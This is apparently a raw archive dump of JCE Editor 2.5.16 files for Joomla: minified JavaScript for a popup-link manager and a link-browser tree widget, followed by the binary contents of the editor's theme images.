setText(state,v){if(state&&v){$('#popup_text').val(v);$('#popup_text').attr('disabled',false);}else{$('#popup_text').val(tinyMCEPopup.getLang('dlg.element_selection','Element Selection'));$('#popup_text').attr('disabled',true);$('#popup_text').addClass('disabled');}}
v=s.getContent({format:'text'});if(n){var children=tinymce.grep(n.childNodes,function(node){return ed.dom.is(node,'br[data-mce-bogus]')==false;});state=children.length==1&&children[0].nodeType==3;}
setText(state,v);}
$.each(this.popups,function(k,v){self._call('setup','',v);});},isPopup:function(n,v){return n&&n.nodeName=='A'&&this._call('check',n,v);},getPopup:function(n,index){var self=this,ed=tinyMCEPopup.editor,popup,popups=this.getPopups();if(n.nodeName!='A'){n=ed.dom.getParent(n,'a');}
$.each(this.popups,function(k,v){if(self.isPopup(n,k)){self.popup=k;}});if(n&&this.popup){this.selectPopup(this.popup);return this.getAttributes(n,index);}
return'';},setPopup:function(s){this.popup=s;},setConfig:function(config){$.extend(this.config,config);},setParams:function(n,p){var popup=this.popups[n];if(popup){if(typeof popup.params=='undefined'){popup.params={};}
$.extend(popup.params,p);}},getParams:function(n){return this.popups[n].params||{};},getParam:function(n,p){var params=this.getParams(n);return params[p]||null;},selectPopup:function(v){var self=this;self.popup=v;$('#popup_list').val(v).children('option').each(function(){if(this.value){$('#popup_extension_'+this.value).hide();}});if(v){$('#popup_extension_'+v).show();self._call('onSelect',[],v);}},setAttributes:function(n,args,index){var ed=tinyMCEPopup.editor;if(this.config['map']){$.each(this.config['map'],function(to,from){var v=args[from]||$('#'+from).val();ed.dom.setAttrib(n,to,v);delete args[from];});}
return this._call('setAttributes',[n,args,index]);},getAttributes:function(n,index){var ed=tinyMCEPopup.editor,k,v,at,data;if(n||n.nodeName!='A'){n=ed.dom.getParent(n,'a');}
if(n&&this.isPopup(n)){data=this._call('getAttributes',[n,index]);}
return data;},isEnabled:function(){return this.popup;},createPopup:function(n,args,index){var self=this,ed=tinyMCEPopup.editor,o,el;args=args||{};if(this.isEnabled()){if(n&&(n.nodeName=='A'||ed.dom.getParent(n,'A'))){if(n.nodeName!='A'){n=ed.dom.getParent(n,'A');}
this.removePopups(n);this.setAttributes(n,args,index);}else{var se=ed.selection,marker;if(se.isCollapsed()){ed.execCommand('mceInsertContent',false,'<a href="#" id="__mce_tmp">'+$('#popup_text').val()+'</a>',{skip_undo:1});}else{var n=n||se.getNode();ed.execCommand('mceInsertLink',false,{'href':'#','id':'__mce_tmp'},{skip_undo:1});ed.dom.setAttrib(n,'style',ed.dom.getAttrib(n,'data-mce-style'));}
n=ed.dom.get('__mce_tmp');if(n){ed.dom.setAttrib(n,'id',null);self.setAttributes(n,args,index);}}}else{var s=false;$.each(this.popups,function(k,v){if(self.isPopup(n,v)){s=true;}});if(s){ed.dom.remove(n,true);}}},removePopups:function(n){var self=this;$.each(this.popups,function(k,v){self._call('remove',n,v);});},onSelectFile:function(args){this._call('onSelectFile',args);},_call:function(fn,args,popup){if(!popup){popup=this.popup;}
if(typeof popup=='string'){popup=this.popups[popup]||{};}
fn=popup[fn];if(fn){if(typeof args=='object'&&args instanceof Array){return fn.apply(popup,args);}else{return fn.call(popup,args);}}
return false;}});editor/libraries/js/link.full.js000060400000014705150751770440012673 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
(function($){$.widget("ui.tree",{options:{rootName:'Root',rootClass:'root',loaderClass:'load',collapseTree:false,charLength:false},_init:function(){var self=this;if(!this.element)
return;this._trigger('onInit',null,function(){self._nodeEvents();});},_nodeEvents:function(parent){var self=this;if(!parent){parent=this.element;}
$('ul:first',parent).attr({'role':'tree'}).children('li').attr('aria-level',1);$('li',parent).attr({'role':'treeitem'}).attr('aria-expanded',function(){return $(this).hasClass('open')?true:false;}).attr('aria-level',function(i,v){if(!v){return parseFloat($(this.parentNode.parentNode).attr('aria-level'))+1;}});$('ul:gt(0)',parent).attr({'role':'group'});$('div.tree-image',parent).attr('role','presentation').each(function(){var p=self._findParent(this);$(this).click(function(e){self.toggleNode(e,p);});});$('span',parent).attr('role','presentation').each(function(){if(!$.support.cssFloat){this.onselectstart=function(){return false;};}}).click(function(e){var p=self._findParent(this);self._trigger('onNodeClick',e,p);});},_hasNodes:function(parent){if($.type(parent)=='string'){parent=this._findParent(parent);}
var c=$('li',parent);return c.length>1||(c.length==1&&!$(c).is('.spacer'));},_isNode:function(id,parent){var n=this._findNode(id,parent);return n.length?true:false;},_getNode:function(parent){if($.type(parent)=='string'){parent=this._findParent(parent);}
return $(parent).find('ul.tree-node');},_resetNodes:function(){$('span, div.tree-image',this.element).removeClass('open');},renameNode:function(id,name){var parent=$.String.dirname(id);var node=this._findNode(id,parent);$(node).attr('id',name);$('a:first',node).html($.String.basename(name));$('li[id^="'+this._escape(encodeURI(id))+'"]',node).each(function(n){var nt=$(n).attr('id');$(n).attr('id',nt.replace(id,name));});},removeNode:function(id){var parent=$.String.dirname(id);var node=this._findNode(id,parent);var ul=$(node).parent('ul');$(node).remove();if(ul&&!this._hasNodes(ul)){$(ul).remove();}},createNode:function(nodes,parent){var self=this;var e,p,h,l,np,i;if(!nodes.length){return;}
if(!parent){parent=$.String.dirname($(nodes[0]).attr('id'));}
if($.type(parent)=='string'){parent=this._findParent(parent);}
if(nodes&&nodes.length){var ul=$('ul.tree-node:first',parent)||null;if(!ul.length){ul=document.createElement('ul');$(ul).attr({'role':'group'}).addClass('tree-node').append('<li class="spacer" role="treeitem" aria-expanded="false"></li>');$(parent).append(ul);}
$.each(nodes,function(i,node){if(!self._isNode(node.id,parent)){if(!node['class']){node['class']='folder';}
var title=node.name||node.id;title=$.String.decode(title);name=title;len=self.options.charLength;if(len&&name.length>len){name=name.substring(0,len)+'...';}
var img=/folder/.test(node['class'])?'tree-image':'tree-noimage';var url=!node.url?'javascript:;':node.url;var li=document.createElement('li');$(li).attr({'id':self._escape(encodeURI(node.id))}).append('<div class="tree-row">'
+'<div role="presentation" class="'+img
+'"></div>'+'<span role="presentation" class="'
+node['class']+'">'
+'<a href="'+url
+'" title="'+title+'">'
+name+'</a>'+'</span>'
+'</div>').attr('aria-level',parseFloat($(parent).attr('aria-level'))+1);$(ul).append(li);$('div.tree-row',li).hover(function(){$(this).addClass('hover');},function(){$(this).removeClass('hover');});$('div.tree-image',li).click(function(e){self.toggleNode(e,li);});$('span',li).click(function(e){self._trigger('onNodeClick',e,li);});self.toggleNodeState(parent,1);self._trigger('onNodeCreate');}else{self.toggleNodeState(parent,1);}});}else{this.toggleNodeState(parent,1);}},_findParent:function(el){if($.type(el)=='string'){return $('li[id="'+this._encode(el)+'"]:first',this.element);}else{return $(el).parents('li:first');}},_findNode:function(id,parent){if(!parent||parent=='/'){parent=this.element;}
if($.type(parent)=='string'){parent=this._findParent(parent);}
return $('li[id="'+this._escape(this._encode(id))+'"]:first',parent);},toggleLoader:function(node){$('span:first',node).toggleClass(this.options.loaderClass);},_collapseNodes:function(ex){var self=this;if(!ex)
this._resetNodes();var parent=$(ex).parent();$('li',parent).each(function(el){if(el!=ex){if($(el).parent()==parent){self.toggleNodeState(el,0);var child=self._getNode(el);if(child){$(child).addClass('hide');}}}});},toggleNodeState:function(node,state){if(state==1){$(node).addClass('open').attr('aria-expanded',true);}else{$(node).removeClass('open').attr('aria-expanded',false);}
if(state==1){if(node.id=='/'){return;}
var c=$('ul.tree-node',node);if(c.length){if($(node).hasClass('open')){$(c).removeClass('hide');}else{$(c).addClass('hide');}}}},toggleNode:function(e,node){if(e.shiftKey){return this._trigger('onNodeLoad',e,node);}
var child=this._getNode(node);if(!child.length){if($('div.tree-image',node).hasClass('open')){this.toggleNodeState(node);}else{this._trigger('onNodeLoad',e,node);}}else{$(child).toggleClass('hide');this.toggleNodeState(node);}
if(this.options.collapseTree){this._collapseNodes(node);}},_encode:function(s){s=decodeURIComponent(s);return encodeURIComponent(s).replace(/%2F/gi,'\/');},_escape:function(s){return s.replace(/'/,'%27');},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.tree,{version:"2.5.16"});})(jQuery);var WFLinkBrowser={options:{element:'#link-browser',onClick:$.noop},init:function(options){$.extend(this.options,options);this._createTree();},_createTree:function(){var self=this;$(this.options.element).tree({collapseTree:true,charLength:50,onInit:function(e,callback){if($.isFunction(callback)){callback.apply();}},onNodeClick:function(e,node){var v;if(!$('span.nolink',node).length){v=$('a',node).attr('href');if(v=='javascript:;')
v=$(node).attr('id');if($.isFunction(self.options.onClick)){self.options.onClick.call(this,$.String.decode(v));}}
if($('span',node).is('.folder')){$(this).tree('toggleNode',e,node);}
e.preventDefault();},onNodeLoad:function(e,node){var self=this;$(this).tree('toggleLoader',node);var query=$.String.query($.String.unescape($(node).attr('id')));$.JSON.request('getLinks',{'json':query},function(o){if(o){if(!o.error){var ul=$('ul:first',node);if(ul){$(ul).remove();}
$(self).tree('createNode',o.folders,node);$(self).tree('toggleNodeState',node,true);}else{$.Dialog.alert(o.error);}}
$(self).tree('toggleLoader',node);},self);}});}};editor/libraries/jquery/css/images/ui-icons_222222_256x240.png000060400000010421150751770440017447 0ustar00�PNG


IHDR��IJ��PLTE$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$�ÈNtRNS2P���."Tp@f`� <BHJZ&0R,�4���j���8D��|�������(��$�
��b���lߝF>n~�hh�H��IDATx��]�b۶�H�儒-{i�ZK:g�lk�n��-��tI��q�q?  E�$�dK>$�>�;������P�Z����s�V��h!�Sy��0E�0}H�)-���tk��o�ܪKp�\R�Ϡ ��.�E�7��
�)�*V;~�Pe��
Bx�*�,=$z��Dؾ���� ��J����Ҹٻ����9�{ ��������Ǹ�Hp�qW@��"2'���B��[�$�� @T��i�H�/��b٥9�6�!�X�Hq`DE��*R����
HV!�%�����;�������"����
�i��]�dddddddd�����4y���5 ��	�Rb�@(�8���Cd��Ū�ݡ�,�@T�@i���b�rq0a�lX!�������p��e�,	��=4bW �{�
5���Ƭhu~�(�Q�^@���3�=��"�b��5XC@J����C�����T��7��6�������q_����5��@,r	šɩ�D�)�T�|�O��@�
ON-ՙ��	�������[n@��R���X�Im�݋(���F �@�?��=0��puL��;g$��@6η��
�K`�>п� @h գ�KV�n�"a�"���%l�@.v�$/��U^��G�:#`�`�� �u��TtK��~�ŋ�Z��5T���%�k�x�����������k��]\*�Q��
,҇���B��44�OXK�|�y��g���+_M�(�lоE�O���
 V$�T1BX���b�-�|?@ �f��B�Xr�%'@ҹA\�I��J,}��BBc��\V
��r����h(�]tI��^���}���o�צo�S3�	";��ʙ���b}��"߰	��){b$�������Gwwݾ����������a���b"��)���T@p��F_er6JvШ���"m�ޭ�M-��d7��6��x����˰6ӥ;��/����`>KrP\��_���^u�1%��O�T�M���.�}���Q3���.Nس��}��)���>����-�w�`���a�����+sy$���t���)�N�bFFFF�Be�j��nN��Vn4��,��A*��X��*��5��>��P���G��a��3	�{�oB�
�&<�L[���Nc.���ö�i=�`�Q@�d���
͆I��.I��l�`\t�[< �Cit�48��4�-r���+��f��쑱�B��CB ��MH�	i����y}���>���rx����p|z�;B��Ǐ;�b�u��r���c�K����4t��z��1�G~����`���ؚ��K��|	̔>��ۡ��O$�����~
�Ao)���0pzz
�}i�����`;AD�����m8n:�cf�A@s7�����L��� Z�/..�����h8�o��r?
�
�N��9��3B��~o_��'`��o���pO-��
:�TG�	L;��7���]`���B���%�˛>��*wT���pM��0H�}&t����^1��'Oq�r'�2P�͡��+�z,tIW''|en������=dzg��R�m�[N�S�t�K{��҉m���ؓV�t�6���ҲR`����ζN�&}�B	U��(�r<�qȁVyr�rA**��دzg6�D#��	�����YP�`�����v���s���~(�z�Ml�e�|u���Q�a�*}�+T��
�����R��Xc"+*�N�l�N�hc�Ft�<N+;-}�،Xtٕ$��à^��|uv���*��~�'E�_�5���1�q�s�*�R�`�OΒ��9�#x4�4�9�#�������WHۏ����Z��)]0�`p�<��ߝ��N��oY{�4�7��6�ǹ�>�ۗ&��������1%�Q''���?�l��׸�+&�r{�j�N�಻���4�)���`�N狌�.��߭�� ���ǣ������������)q	�2�?���n�3H�b��`�}� ����.`�������pqY1�e_b����u�7��e+N�_F����(�D�T��,���L}LL�r��mP5��|��x芥1�c���x DAb������`��M(��7���NED�~<v\	%,�ߚ/����p���R��~/^����l��np�
��7t����0_���0���l4�����_����b�0�MWΦj�m����б�Ɏ�l
|re����
�ȫ`B-����v.i��Ro�x}�
�)����%#`�Ђ�R5C���A�2su���a���sYy3��=jaeoI�7�~�.�plA��΃�
`O��)��	^�>��Mz�	�+4���BXd.��Mz��v͈������P�d8�p��<6?��8�N��*x����.��6ڍ6G����F�Z�����)���O���	!��l�S�s���h����ss�N�p8�`'�0�/<����s���}�.�@Ǩ�s�7ξ�O۟V�D���a5��a�v��]������m1��+���3��y�6�۠���>@�u50��P�s����5��1=��=�p�� *��KV�ҫ܂�����ݻc$N�4�(�X�r2###c-��賟L���δ�>��]���5�.�s���Ys�1��f0�;�'̨��Y�g銛�{�@9��	���`aC(��=%b�o�2��=���n��1�	j��B��o��S$n���#���m����=i��0�c���������i9�}�oI��	���q�T��]�W%.��(��؅�]z�\�x�
f��"]o��'u�䫵�t�k{�v;A��C3ֆw��w�R_#��X��(x��ҋ/q%��W��������hp��k_I�X���'b��/fX��K�i�"#####�QCL�i��2t��
���5���L0
����Qi�H�2;y�T�Ook;ע�ٶ`��R��Ng{z�y�!�Kx�����m�?A(v��U�~���mL�(`o/!n���mX��-{�v����[�� d�w�=�n「�������sdw��z��n�(��}O�y�~����m�
���?XU�;,���V'+��V�&�J�R��Z]᧭�:����zC'��-߆����@�y
�4���u���`Vۓw��ъ#��zP@Q�
N>2/��{�\o)����W���~a�3xL�w
:_Q�;��=p�ּ�dt���\'8�����~3�SRP���6��y+�������X�����Q�*��޺r
����̗ѭ*��޺r
g��l�/�\U^��u�$����|mb��Vn����w�\V��|���D�͊NVN���y��7�������k<;��/�E}?E*dzg�O ���~���g��/9��6����f
c�D}%��g$�Q�G�7�o��)����UJ���o�,O@�0߾Q(����;�b����w����:5�	�N�wR��N5�I�y'K�?}��:9�m��ֽ��*���@f�@jU9�m���ҫ���Í�{����$�ؗ�}��dF���p��|%!DdF��>����}G��{���@FFFFFFƦQܞH �
�����3
��u	���M�o�����~�vy�}�m�wz<�7���nP9�r�Wk���u=����|��_�n����z쿳}@���IX�n�����?��s<uPIEND�B`�editor/libraries/jquery/css/images/progress_bar.gif000060400000000766150751770440016560 0ustar00GIF89a8����������������������������������֖�٫�����ܵ��������������������������������!�,8�@�pH,�Ȥ�r�8�ШtJ�R/c��z��8챀 �z�n��n����~��c,���������������������������������������������
�����������������������������������������������
8��*\Ȱ��"J�H��ŋ3" ���Ǐ C�I����(S�\ɲ�˗ȜI��͛8s������@�
J�h��H�*]ʴ�� ;editor/libraries/jquery/css/images/button_bg.png000060400000005421150751770440016063 0ustar00�PNG


IHDR/K���
AiCCPICC Profilex��wTS��Ͻ7��" %�z	 �;HQ�I�P��&vDF)VdT�G�"cE��b�	�P�QDE�݌k	�5�ޚ��Y�����g�}׺P���tX�4�X��\��X��ffG�D��=���HƳ��.�d��,�P&s��"7C$
E�6<~&��S��2���)2�12�	��"�įl���+�ɘ�&�Y��4���Pޚ%ᣌ�\�%�g�|e�TI��(���L0�_��&�l�2E����9�r��9h�x�g��Ib�טi���f��S�b1+��M�xL���0��o�E%Ym�h����Y��h����~S�=�z�U�&�ϞA��Y�l�/��$Z����U�m@��O� ��ޜ��l^���'���ls�k.+�7���oʿ�9����V;�?�#I3eE妧�KD����d����9i���,�����UQ�	��h��<�X�.d
���6'~�khu_}�9P�I�o=C#$n?z}�[1
Ⱦ�h���s�2z��\�n�LA"S��dr%�,�߄l��t�
4�.0,`
�3p� ��H�.Hi@�A>�
A1�v�jpԁz�N�6p\W�
p�G@
��K0ށi���A����B�ZyCAP8�C���@��&�*���CP=�#t�]���� 4�}���a
���ٰ;G���Dx����J�>����,�_“@��FX�DB�X$!k�"��E�����H�q���a���Y��bVa�bJ0՘c�VL�6f3����bձ�X'�?v	6��-�V`�`[����a�;��p~�\2n5��׌����
�&�x�*���s�b|!�
ߏƿ'�	Zk�!� $l$T����4Q��Ot"�y�\b)���A�I&N�I�$R$)���TIj"]&=&�!��:dGrY@^O�$� _%�?P�(&OJEB�N9J�@y@yC�R
�n�X����ZO�D}J}/G�3���ɭ���k��{%O�חw�_.�'_!J����Q�@�S���V�F��=�IE���b�b�b�b��5�Q%�����O�@��%�!BӥyҸ�M�:�e�0G7��ӓ�����	e%e[�(����R�0`�3R��������4�����6�i^��)��*n*|�"�f����LUo�՝�m�O�0j&jaj�j��.��ϧ�w�ϝ_4��갺�z��j���=���U�4�5�n�ɚ��4ǴhZ�Z�Z�^0����Tf%��9����-�>�ݫ=�c��Xg�N��]�.[7A�\�SwBOK/X/_�Q�>Q�����G�[�� �`�A�������a�a��c#����*�Z�;�8c�q��>�[&���I�I��MS���T`�ϴ�k�h&4�5�Ǣ��YY�F֠9�<�|�y��+=�X���_,�,S-�,Y)YXm����Ěk]c}džj�c�Φ�浭�-�v��};�]���N���"�&�1=�x����tv(��}�������'{'��I�ߝY�)�
Σ��-r�q�r�.d.�_xp��Uە�Z��M׍�v�m���=���+K�G�ǔ����^���W�W����b�j�>:>�>�>�v��}/�a��v�������O8�	�
�FV>2	u����/�_$\�B�Cv�<	5]�s.,4�&�y�Ux~xw-bEDCĻH����G��KwF�G�E�GME{E�EK�X,Y��F�Z� �={$vr����K����
��.3\����r���Ϯ�_�Yq*���©�L��_�w�ד������+��]�e�������D��]�cI�II�OA��u�_�䩔���)3�ѩ�i�����B%a��+]3='�/�4�0C��i��U�@ёL(sYf����L�H�$�%�Y�j��gGe��Q�����n����~5f5wug�v����5�k��֮\۹Nw]����m mH���Fˍe�n���Q�Q��`h����B�BQ�-�[l�ll��f��jۗ"^�b���O%ܒ��Y}W��������w�vw����X�bY^�Ю�]�����W�Va[q`i�d��2���J�jGէ������{�����׿�m���>��Pk�Am�a�����꺿g_D�H��G�G��u�;��7�7�6�Ʊ�q�o��C{��P3���8!9����<�y�}��'�����Z�Z���։��6i{L{��ӝ�-?��|����gKϑ���9�w~�Bƅ��:Wt>���ҝ����ˁ��^�r�۽��U��g�9];}�}�������_�~i��m��p���㭎�}�]�/��}�����.�{�^�=�}���^?�z8�h�c��'
O*��?����f�����`ϳ�g���C/����O�ϩ�+F�F�G�Gό���z����ˌ��ㅿ)����ѫ�~w��gb���k��?Jި�9��m�d���wi獵�ޫ�?�����c�Ǒ��O�O���?w|	��x&mf�����&"	pHYs��vIDAT(���� Cu�?wnp���Y2O�£4�{�O§�օt��-d����\�l��hg�緝% ��tF!�UG��m�u�3*A��r�hP�/UJ��T�С�F�K�lV�qq]���IEND�B`�editor/libraries/jquery/css/images/header_bg.png000060400000000216150751770440015775 0ustar00�PNG


IHDR2��	pHYs��@IDAT(c���;�|��
�f`�����E�H�߿�1�He(������c�;���4=A�i�?�IEND�B`�editor/libraries/jquery/css/images/slider_handles.png000060400000001061150751770440017054 0ustar00�PNG


IHDR ����IDATH��k�`Ɵ��1�"dA���Z�t�l,�/�<�Rп��̓^{��� ��0�I�Ep��.c!fǚh�����a[I�2*���>�>�|���Ŭ2k�Z�e��G?���������j�E:�.
�b"����t����7���l6߇�o��J��$�J�,�˕X,�  �F�\�X�43��~�z֯6�yޡ,�E�e�UU��(P���e�mY�����{�p����b�@�Ӂm���|�R���|�����PJ�0L��l6PJAAp]���n��8Υa!�$��$��04�q.�.1�L��dE� DQD>�� X.�W�V�x<~�뺹2@�uӲ��`0���d��x<
�j���^�+�n�m���{~�9���8n7�0cSJG���w]����X��9��^����N�/6�Y�#�+pf;x��s7|�l�֏�K(w�%o����f<��@~~pσ��h\A���IEND�B`�editor/libraries/jquery/css/images/index.html000060400000000054150751770440015364 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/jquery/css/images/ui-icons_454545_256x240.png000060400000010421150751770440017466 0ustar00�PNG


IHDR��IJ��PLTEDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDm�:NtRNS2P���."Tp@f`� <BHJZ&0R,�4���j���8D��|�������(��$�
��b���lߝF>n~�hh�H��IDATx��]�b۶�H�儒-{i�ZK:g�lk�n��-��tI��q�q?  E�$�dK>$�>�;������P�Z����s�V��h!�Sy��0E�0}H�)-���tk��o�ܪKp�\R�Ϡ ��.�E�7��
�)�*V;~�Pe��
Bx�*�,=$z��Dؾ���� ��J����Ҹٻ����9�{ ��������Ǹ�Hp�qW@��"2'���B��[�$�� @T��i�H�/��b٥9�6�!�X�Hq`DE��*R����
HV!�%�����;�������"����
�i��]�dddddddd�����4y���5 ��	�Rb�@(�8���Cd��Ū�ݡ�,�@T�@i���b�rq0a�lX!�������p��e�,	��=4bW �{�
5���Ƭhu~�(�Q�^@���3�=��"�b��5XC@J����C�����T��7��6�������q_����5��@,r	šɩ�D�)�T�|�O��@�
ON-ՙ��	�������[n@��R���X�Im�݋(���F �@�?��=0��puL��;g$��@6η��
�K`�>п� @h գ�KV�n�"a�"���%l�@.v�$/��U^��G�:#`�`�� �u��TtK��~�ŋ�Z��5T���%�k�x�����������k��]\*�Q��
,҇���B��44�OXK�|�y��g���+_M�(�lоE�O���
 V$�T1BX���b�-�|?@ �f��B�Xr�%'@ҹA\�I��J,}��BBc��\V
��r����h(�]tI��^���}���o�צo�S3�	";��ʙ���b}��"߰	��){b$�������Gwwݾ����������a���b"��)���T@p��F_er6JvШ���"m�ޭ�M-��d7��6��x����˰6ӥ;��/����`>KrP\��_���^u�1%��O�T�M���.�}���Q3���.Nس��}��)���>����-�w�`���a�����+sy$���t���)�N�bFFFF�Be�j��nN��Vn4��,��A*��X��*��5��>��P���G��a��3	�{�oB�
�&<�L[���Nc.���ö�i=�`�Q@�d���
͆I��.I��l�`\t�[< �Cit�48��4�-r���+��f��쑱�B��CB ��MH�	i����y}���>���rx����p|z�;B��Ǐ;�b�u��r���c�K����4t��z��1�G~����`���ؚ��K��|	̔>��ۡ��O$�����~
�Ao)���0pzz
�}i�����`;AD�����m8n:�cf�A@s7�����L��� Z�/..�����h8�o��r?
�
�N��9��3B��~o_��'`��o���pO-��
:�TG�	L;��7���]`���B���%�˛>��*wT���pM��0H�}&t����^1��'Oq�r'�2P�͡��+�z,tIW''|en������=dzg��R�m�[N�S�t�K{��҉m���ؓV�t�6���ҲR`����ζN�&}�B	U��(�r<�qȁVyr�rA**��دzg6�D#��	�����YP�`�����v���s���~(�z�Ml�e�|u���Q�a�*}�+T��
�����R��Xc"+*�N�l�N�hc�Ft�<N+;-}�،Xtٕ$��à^��|uv���*��~�'E�_�5���1�q�s�*�R�`�OΒ��9�#x4�4�9�#�������WHۏ����Z��)]0�`p�<��ߝ��N��oY{�4�7��6�ǹ�>�ۗ&��������1%�Q''���?�l��׸�+&�r{�j�N�಻���4�)���`�N狌�.��߭�� ���ǣ������������)q	�2�?���n�3H�b��`�}� ����.`�������pqY1�e_b����u�7��e+N�_F����(�D�T��,���L}LL�r��mP5��|��x芥1�c���x DAb������`��M(��7���NED�~<v\	%,�ߚ/����p���R��~/^����l��np�
��7t����0_���0���l4�����_����b�0�MWΦj�m����б�Ɏ�l
|re����
�ȫ`B-����v.i��Ro�x}�
�)����%#`�Ђ�R5C���A�2su���a���sYy3��=jaeoI�7�~�.�plA��΃�
`O��)��	^�>��Mz�	�+4���BXd.��Mz��v͈������P�d8�p��<6?��8�N��*x����.��6ڍ6G����F�Z�����)���O���	!��l�S�s���h����ss�N�p8�`'�0�/<����s���}�.�@Ǩ�s�7ξ�O۟V�D���a5��a�v��]������m1��+���3��y�6�۠���>@�u50��P�s����5��1=��=�p�� *��KV�ҫ܂�����ݻc$N�4�(�X�r2###c-��賟L���δ�>��]���5�.�s���Ys�1��f0�;�'̨��Y�g銛�{�@9��	���`aC(��=%b�o�2��=���n��1�	j��B��o��S$n���#���m����=i��0�c���������i9�}�oI��	���q�T��]�W%.��(��؅�]z�\�x�
f��"]o��'u�䫵�t�k{�v;A��C3ֆw��w�R_#��X��(x��ҋ/q%��W��������hp��k_I�X���'b��/fX��K�i�"#####�QCL�i��2t��
���5���L0
����Qi�H�2;y�T�Ook;ע�ٶ`��R��Ng{z�y�!�Kx�����m�?A(v��U�~���mL�(`o/!n���mX��-{�v����[�� d�w�=�n「�������sdw��z��n�(��}O�y�~����m�
���?XU�;,���V'+��V�&�J�R��Z]᧭�:����zC'��-߆����@�y
�4���u���`Vۓw��ъ#��zP@Q�
N>2/��{�\o)����W���~a�3xL�w
:_Q�;��=p�ּ�dt���\'8�����~3�SRP���6��y+�������X�����Q�*��޺r
����̗ѭ*��޺r
g��l�/�\U^��u�$����|mb��Vn����w�\V��|���D�͊NVN���y��7�������k<;��/�E}?E*dzg�O ���~���g��/9��6����f
c�D}%��g$�Q�G�7�o��)����UJ���o�,O@�0߾Q(����;�b����w����:5�	�N�wR��N5�I�y'K�?}��:9�m��ֽ��*���@f�@jU9�m���ҫ���Í�{����$�ؗ�}��dF���p��|%!DdF��>����}G��{���@FFFFFFƦQܞH �
�����3
��u	���M�o�����~�vy�}�m�wz<�7���nP9�r�Wk���u=����|��_�n����z쿳}@���IX�n�����?��s<uPIEND�B`�editor/libraries/jquery/css/images/icon_sprite.png000060400000006221150751770440016415 0ustar00�PNG


IHDR �jfktEXtSoftwareAdobe ImageReadyq�e<3IDATx��Zy�U���}�٘g�at�t�1*P�q�a�RmbX��T�0��D*i����61:4mCCjFm���FR��Vp��0�Y��������=o��
��1�&�w��9�;�|���i��f^v�OÑB�i+趙��*�^���4�F����M+҅x�n�'*�
���CC���Ms�3i����yM�o�m�d~S����Ă{�/O=q���^�s��j��~1����VT�̪�D�_y�S:Μ��ƸF�����G]j�\�(�(TŸ4����\lfb��{�	N\���q�f՜?s�!�X��	w�Ip�]�^����yA���Y�r���g2���ug��_>W��%:|0I�:�..vƬW�[�PT�}��CC��^����8#�r__�T�
�i,@�F� 4cQ-�` ���v�~�kw�E,Wh���-��üQ�����O�"�Ξ�hTT��M�˗/S�k�{����p�[F����ˆh�pT*�Db����
������(t��
I
D_DbTDI������a�ل�n��/R.%D"�F��
�Dŕ��0M�θB��-l.��u�P0k�I2������GF�r��D�dD����?h�����y�
CѐT^PP ��<�K�k��PW�0�
h��;~<I���bօ�DM<�u���uG�P�G�T�r�(�4W������h�R^�(�om�����È����c��H�@|���s�p�=	���ʥ�t�΁$F�#0��;���I9��t�Z�H9x�dDC���{\	?ӽ��x��/S���� ".��ϔzz�p8L)ԉ�����W�q���X�0xJ�{�tt���;�`,dw:S���Ա�|��`XA���/DM3�<<�.�x,J����@$��{t���Tq�T�M��V�&P�޼��B4�bD��,�;Q��K��*?���5���G"�i��t�r�ԩS_|���|���v��Qy���5�@`>���;�Γ����u�]/.]�4	�z���ں���{S,�ƶA��WQ�v�L.�-+W�|��}I�Y�~��K�.m"�%>i���9f̘��{.�g[�n}���sg0���Q2�᷺��eŊoYIP�_x�Gϟ?/�L4iҤ��k�J<���eS�`��}��xDQQ����bI��9�`A�����_�J���A��=�0�,�:uj-��Ō�V�����TX@��ϗc,��:p�ZZ��lܸQ,_�\��[r�
/0�"+��`#��Z��"��	&H��D2~���.�	a����@#��_�iӦIw㪯��c��<�*���W��}���$&O�,�ϝ;'�����{�a�K*�=�Q�W���7IJe�DCC�����}�v)x�P�J<(�	��:p�p�H����)��j���]�O���_�p�Bpr0�/�A�4XF0a��������R@]]�\��������YAYY����I<��8q�8t萜�1c���ܹ3�U���D䯪�����t�)yH�g���z��J$b
�Z��L�	q뭷~EA9��w��رc�w�I��:0���&�����ݻ��ӻ=T���v\4/A�����1���_��M��m�B��ѡd�zC�Ը�~���5�{4g�^���ѣGo‹�"A��ӧ����l'h2��q�1́�����y��B)���������|(���VbvR�F��� ��$W����ƍ�
���ub�̙���I�em�$<��7OѶL���h�\R���]coo�(r��
��ږ�IX
��OMŌ�-���LcGG�(�+����\re���i�I��bd%�z��~�*k�"l	l�SVO�PYsƧ���+,a�C=�|��V�g-ǹ�S�A�@!�S��Þ>s�_�~�Z�׭�V<@?PO��0]�2 n*���D�B���%�
>��	��΄:��ȄW���
���k>�[�|���UN�2�ҁ��#(/d����mΙ3G
�r��[V��@9�U<x��CdA���N�N�`%��nFM�P)�V���T/��:�x$�u��=�mmm���M	Vj?��T<_�Y�x�t����V$K�m�d)U/�S��@*�/`!�8�R�~ z����u��nD.�]�v%Ie��:��k2�˄O�T#����N���Lx`�P��������~����̮�>��x��I�ɱc�ް~���ߗ��nD?���H�]���������SÜ��r�'��k9�_���z��.�����|P���N0�
Q���2X^&<�T�`⪆8�ÝSW��lx`���ʆ���\NQ4�q�Ł4��i�||��^�s���M
